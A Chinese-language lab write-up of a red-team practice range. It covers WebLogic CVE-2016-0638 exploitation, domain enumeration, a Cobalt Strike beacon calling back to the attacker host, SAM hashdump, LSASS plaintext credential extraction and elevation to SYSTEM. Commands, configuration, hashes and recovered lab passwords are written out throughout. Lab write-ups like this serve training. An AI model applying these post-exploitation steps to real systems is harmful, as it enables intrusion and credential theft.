红日靶场二

红队实战靶场复盘：WebLogic 打点到域内凭证获取

这次环境是一个典型的双网卡 Web 服务器作为入口的域内靶场。外部可访问目标为 192.168.111.80，Web 服务器同时连接 DMZ 网段和内网 10.10.10.0/24，域控为 10.10.10.10，域名为 de1ay.com。

整体路线比较清晰：先从 WebLogic 漏洞拿到 WebShell，再确认主机和域环境，随后上线 Cobalt Strike，获取凭证并提权到 SYSTEM。

0x01 环境信息

本次关键主机如下：

攻击机靶场地址：192.168.111.44
目标入口地址：192.168.111.80
WEB 内网地址：10.10.10.80
域控 DC：10.10.10.10
域名：de1ay.com
PC：10.10.10.201

WEB 主机为双网卡机器：

192.168.111.80  DMZ 网段
10.10.10.80     内网网段

这类环境里，Web 服务器通常就是进入内网的第一块跳板。

0x02 WebLogic 初始打点

初始入口是通过 WebLogic 反序列化相关检测拿到的回显 WebShell。

检测信息如下：

============开始检查可回显漏洞============
检查漏洞：CVE_2016_0638_ECHO开始
检查Payload：CommonsCollections3_678
[+]：存在CVE_2016_0638_ECHO漏洞，返回信息：web\administrator

这里说明目标存在 CVE_2016_0638_ECHO，并且使用 CommonsCollections3_678 payload 成功回显，当前执行身份为：

web\administrator

拿到 WebShell 后，首先查看当前目录和主机网络信息：

ipconfig /all

可以看到 WEB 主机已经加入域，DNS 指向域控：

主 DNS 后缀：de1ay.com
DNS 服务器：10.10.10.10

域名解析也能确认域控位置：

nslookup de1ay.com

结果指向：

de1ay.com -> 10.10.10.10

0x03 域环境确认

通过 net user /domain 枚举域用户：

net user /domain

返回用户包括：

Administrator
de1ay
Guest
krbtgt
mssql

这一步说明当前机器已经在域内，并且能够正常和域控通信。

随后查看域控共享：

net view \\10.10.10.10

可以看到：

NETLOGON
SYSVOL

继续访问管理共享：

dir \\10.10.10.10\c$

成功列出 DC 的 C 盘目录，并发现：

flag.txt.txt

这里基本可以判断文件内容为：

hr2flagccqweaul2hjbakbvle

不过从红队流程角度看，能读到 DC 文件并不等于完整控制域。后续还是继续验证凭证、权限和上线能力。

0x04 杀软与进程信息

查看进程和服务：

tasklist /svc

发现目标存在 360 相关进程：

ZhuDongFangYu.exe
360Tray.exe

同时存在关键服务：

sqlservr.exe   MSSQL$SQLEXPRESS
java.exe       WebLogic

这说明目标上有 360 主动防御，后续上线 payload 时需要注意落地文件和进程行为。不过本次最终仍然成功使用 EXE 上线。

0x05 Cobalt Strike 上线

TeamServer 跑在 WSL 中，监听器配置如下：

Name: http-8080
Payload: Beacon HTTP
HTTP Hosts: 192.168.111.44
HTTP Port (C2): 8080
HTTP Port (Bind): 8080
Profile: default

生成 payload 时使用：

有效载荷(P) -> Windows可执行程序(Stageless)

配置：

Listener: http-8080
Output: Windows EXE
Exit Function: Process
System Call: None
x64: Use x64 payload
Sign: 不勾选

生成过程中遇到过 Java 版本兼容问题。原来的启动脚本默认调用系统 Java，而系统 Java 为 Java 25，导致保存文件窗口报错：

ClassNotFoundException: sun.security.action.GetPropertyAction

解决方式是固定使用 Java 8 启动 CS 客户端：

"C:\Program Files\Java\jre1.8.0_431\bin\java.exe" -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -Dfile.encoding=utf-8 -jar cobaltstrike-client.jar

payload 上传到目标路径：

C:\Users\Public\beacon_x64.exe

执行后成功上线 Beacon。

0x06 WSL TeamServer 端口转发问题

这里踩了一个比较典型的坑：TeamServer 在 WSL 里跑，靶场流量先进 Windows VPN 网卡，但 WSL 并没有直接拥有靶场平台映射地址。

一开始 Windows 本机访问：

curl http://192.168.111.44:8080

无法连接。

但是访问本地 WSL 暴露的 8080 时，CS 日志能看到请求：

[!] Request blocked for useragent 'curl/8.14.1'. URI=/ Method=GET Remote Address=/127.0.0.1

这说明 CS 服务本身是活的，只是流量没有正确导到 WSL。

最终通过 Windows 管理员 CMD 添加端口转发解决：

netsh interface portproxy add v4tov4 listenaddress=10.8.0.6 listenport=8080 connectaddress=127.0.0.1 connectport=8080
netsh advfirewall firewall add rule name="CS-8080-WSL" dir=in action=allow protocol=TCP localport=8080

这两条命令的作用是：

10.8.0.6:8080 -> 127.0.0.1:8080

也就是把 Windows VPN 网卡收到的 8080 流量转发给本地 WSL 暴露的 TeamServer 8080。

之后 Beacon 成功回连。

0x07 当前权限确认

Beacon 上线后执行：

getuid

返回：

You are WEB\Administrator (admin)

说明当前是 WEB 本机管理员权限，而不是域管。

0x08 本机 Hash 获取

执行 hashdump 后拿到本机 SAM hash：

Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:3b24c391862f4a8531a245a0217708c4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

其中关键 NTLM hash：

WEB\Administrator : 161cff084477fe596a5db81874498a24
WEB\de1ay         : 3b24c391862f4a8531a245a0217708c4

31d6cfe0d16ae931b73c59d7e0c089c0 是空密码 NTLM，Guest 一般价值不高。

0x09 明文凭证获取

随后通过获取明文口令，从 LSASS 中拿到域账号凭证。

关键结果如下：

User Name : mssql
Domain    : DE1AY
NTLM      : 161cff084477fe596a5db81874498a24
Password  : 1qaz@WSX

同时本机管理员也使用了同样的密码：

User Name : Administrator
Domain    : WEB
NTLM      : 161cff084477fe596a5db81874498a24
Password  : 1qaz@WSX

也就是说，本次拿到的关键凭证为：

DE1AY\mssql / 1qaz@WSX
WEB\Administrator / 1qaz@WSX

并且二者 NTLM 一致：

161cff084477fe596a5db81874498a24

这类密码复用在域内非常常见，也是横向移动的重要突破口。

0x0A 凭证切换与提权

尝试使用域账号 DE1AY\mssql 进行 Spawn As：

spawnas DE1AY\mssql 1qaz@WSX http-8080

首次遇到错误：

could not run C:\Windows\system32\rundll32.exe as DE1AY\mssql: 267

267 是 Windows 错误码：

ERROR_DIRECTORY = 目录名称无效

这个问题通常和当前 Beacon 工作目录有关，可以切换到标准目录后再尝试：

cd C:\Windows\Temp
spawnas DE1AY\mssql 1qaz@WSX http-8080

本次最终目标是从本机管理员提升到 SYSTEM，因此直接使用：

getsystem

随后使用服务方式提权：

elevate svc-exe http-8080

返回：

[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
Started service cb2cc4c on

这说明已经成功模拟 SYSTEM token。

确认方式：

getuid
shell whoami

预期结果：

NT AUTHORITY\SYSTEM

0x0B 本次攻击链总结

本次完整链路如下：

WebLogic CVE_2016_0638_ECHO
        -> WebShell: web\administrator
        -> 域环境确认: de1ay.com / DC 10.10.10.10
        -> CS Stageless EXE 上线
        -> Beacon: WEB\Administrator
        -> hashdump 获取本机 hash
        -> logonpasswords 获取明文凭证
        -> DE1AY\mssql / 1qaz@WSX
        -> elevate svc-exe 提权到 NT AUTHORITY\SYSTEM

这台靶机的关键点并不是某一个单独漏洞，而是几个环节串起来后的效果：

1. WebLogic 漏洞给了初始命令执行。
2. WEB 双网卡使得外部入口可以触达内网。
3. 机器加入域，且存在域账号凭证留存在 LSASS。
4. 本机管理员和域账号存在密码复用。
5. 本机管理员权限可以进一步提到 SYSTEM。

0x0C 踩坑记录

本次比较值得记录的坑有三个。

第一个是 CS 客户端 Java 版本问题。CS 4.8 的客户端不适合使用 Java 25，保存 payload 时会因为 Swing/Synthetica 兼容问题报错。固定用 Java 8 启动即可。

第二个是 WSL TeamServer 网络问题。TeamServer 在 WSL 中运行时，不能简单认为 Listener 填了 192.168.111.44 就等于 Windows 已经监听该地址。靶场流量进入 Windows 后，还需要通过 netsh interface portproxy 转发到 WSL 暴露的本地端口。

第三个是 curl 测 CS 端口时可能被 profile 拦截。日志里出现：

Request blocked for useragent 'curl/8.14.1'

这不代表 CS 不通，只是默认 profile 拦截了 curl 的 User-Agent。可以换浏览器 UA 测试：

curl -A "Mozilla/5.0" http://127.0.0.1:8080

返回 404 也可以说明端口是通的，因为 / 本来就不是有效资源路径。

0x0D 结论

这次靶场到这里已经完成了从外部 WebLogic 打点、进入域内、Cobalt Strike 上线、凭证获取、再到本机 SYSTEM 的完整流程。

当前已经掌握的有效信息包括：

初始 WebShell 身份：web\administrator
Beacon 初始身份：WEB\Administrator
SYSTEM 提权：成功
域账号：DE1AY\mssql
域账号密码：1qaz@WSX
关键 NTLM：161cff084477fe596a5db81874498a24
 flag：hr2flagccqweaul2hjbakbvle